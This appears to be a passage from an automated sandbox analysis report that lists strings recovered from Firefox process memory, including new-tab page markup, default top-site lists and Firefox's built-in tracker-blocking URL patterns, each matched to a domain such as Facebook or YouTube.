class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6FBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2576624739.000002B9B5752000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B579F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576624739.000002B9B57FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/AND bookmarked equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Something tried to use the search service before it finished initializing. Please examine the stack trace to figure out what and where to fix it: equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Something tried to use the search service before it finished initializing. Please examine the stack trace to figure out what and where to fix it: equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: current application version: It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.UpdateService:_postUpdateProcessing - removing update for older application version or same application version with same build ID. update application version: moz-extension://a581a2f1-688c-434b-8db8-16166b1993d9/lib/messaging_helper.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/Something tried to use the search service before it finished initializing. Please examine the stack trace to figure out what and where to fix it: equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools/client/framework/devtools-browserresource://devtools/shared/security/socket.jsDevTools telemetry entry point failed: DevToolsStartup.jsm:handleDebuggerFlag@mozilla.org/dom/slow-script-debug;1devtools/client/framework/devtoolsresource://devtools/server/devtools-server.jsFailed to listen. Listener already attached.@mozilla.org/network/protocol;1?name=default^([a-z+.-]+:\/{0,3})([^\/@]+@).+Got invalid request to save JSON dataWebChannel/this._originCheckCallback^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.devtools.performance.popup.feature-flag{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools.debugger.remote-websocketFailed to listen. Callback argument missing.No callback set for this channel.releaseDistinctSystemPrincipalLoaderUnable to start devtools server on JSON Viewer's onSave failed in startPersistenceFailed to execute WebChannel callback:@mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_words@mozilla.org/network/protocol;1?name=filebrowser.urlbar.dnsResolveFullyQualifiedNames^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIdevtools.performance.recording.ui-base-url@mozilla.org/uriloader/local-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol<resource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/async-stream-copier;1resource:///modules/BrowserWindowTracker.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/dbus-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}isDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sgecko.handlerService.defaultHandlersVersion{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/JSONFile.sys.mjshttp://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/NetUtil.sys.mjshttp://www.inbox.lv/rfc2368/?value=%shttps://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/web-handler-app;1@mozilla.org/network/file-input-stream;1_finalizeInternal/this._finalizePromise<resource://gre/modules/JSONFile.sys.mjsCan't invoke URIFixup in the content processhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%sresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjsScheme should be either http or httpsresource://gre/modules/FileUtils.sys.mjsMust have a source and a callback@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLnewChannel requires a single object argumentFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1https://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.alwaysAskBeforeHandlingNon-zero amoun
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.2531448134.000002B9B0643000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000019.00000002.2546768636.000002B9B1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: findUpdates() - found update for onPrefEMEGlobalEnabledChanged() id=onPrefEnabledChanged() - removing gmp directory uninstallPlugin() - unregistering gmp directory @mozilla.org/addons/addon-manager-startup;1webcompat-reporter%40mozilla.org:1.5.1://static.criteo.net/js/ld/publishertag.js://.imgur.com/js/vendor..bundle.js@mozilla.org/network/safe-file-output-stream;1://www.rva311.com/static/js/main..chunk.js://.imgur.io/js/vendor..bundle.js://libs.coremetrics.com/eluminate.jsresource://gre/modules/FileUtils.sys.mjs://web-assets.toggl.com/app/assets/scripts/.jshttps://smartblock.firefox.etp/play.svg@mozilla.org/network/atomic-file-output-stream;1FileUtils_openSafeFileOutputStream://connect.facebook.net//sdk.js*://connect.facebook.net//all.jsFileUtils_closeAtomicFileOutputStream://www.everestjs.net/static/st.v3.jsFileUtils_closeSafeFileOutputStreamresource://gre/modules/addons/XPIProvider.jsmpictureinpicture%40mozilla.org:1.0.0://track.adform.net/serving/scripts/trackpoint/@mozilla.org/network/file-output-stream;1webcompat-reporter@mozilla.org.xpihttps://smartblock.firefox.etp/facebook.svg://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.js://pub.doubleverify.com/signals/pub.js*://c.amazon-adsystem.com/aax2/apstag.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2577673140.000002B9B5819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2571069879.000002B9B4D31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2591081287.000002B9B6FBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2474531163.000002B9BCFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B10E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2589627659.000002B9B6E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2546768636.000002B9B1074000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
